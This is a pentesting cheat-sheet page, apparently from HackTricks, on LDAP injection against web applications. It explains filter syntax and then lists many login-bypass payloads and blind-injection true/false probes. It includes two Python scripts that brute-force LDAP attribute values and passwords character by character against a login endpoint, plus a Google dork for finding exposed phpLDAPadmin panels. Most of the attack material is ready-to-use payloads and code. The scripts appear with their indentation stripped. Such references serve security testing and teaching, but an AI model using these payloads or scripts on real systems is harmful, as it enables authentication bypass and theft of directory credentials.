hacktricks/pentesting-web/ldap-injection.md

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# LDAP Injection
## **LDAP**
**If you want to know what is LDAP access the following page:**
{% page-ref page="../pentesting/pentesting-ldap.md" %}
**LDAP Injection** is an attack used to **exploit** **web** based applications that construct **LDAP** **statements** based on **user** **input**. When an application **fails** to properly **sanitize** user input, it's possible to modify LDAP statements using a local proxy.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
**Filter** = \( filtercomp \)
**Filtercomp** = and / or / not / item
**And** = & filterlist
**Or** = \|filterlist
**Not** = ! filter
**Filterlist** = 1\*filter
**Item**= simple / present / substring
**Simple** = attr filtertype assertionvalue
**Filtertype** = _'=' / '~=' / '>=' / '<='_
**Present** = attr = \*
**Substring** = attr ”=” \[initial\] \* \[final\]
**Initial** = assertionvalue
**Final** = assertionvalue
**\(&\)** = Absolute TRUE
**\(\|\)** = Absolute FALSE
For example:
`(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))`
You can access to the database, and this can content information of a lot of different types.
**OpenLDAP**: If 2 filters arrive, only executes the first one.
**ADAM or Microsoft LDS**: With 2 filters they throw an error.
**SunOne Directory Server 5.0**: Execute both filters.
**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
The filter has to start with: `&` or `|`
Example: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter \(the one executed\).
## Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```
```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```
```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```
```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```
```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
### Lists
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* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
## Blind LDAP Injection
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
### Dump data
You can iterate over the ascii letters, digits and symbols:
```bash
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
```
## Scripts
### **Discover valid LDAP fields**
LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
### **Special Blind LDAP Injection \(without "\*"\)**
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
## Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
## More Payloads
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[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection)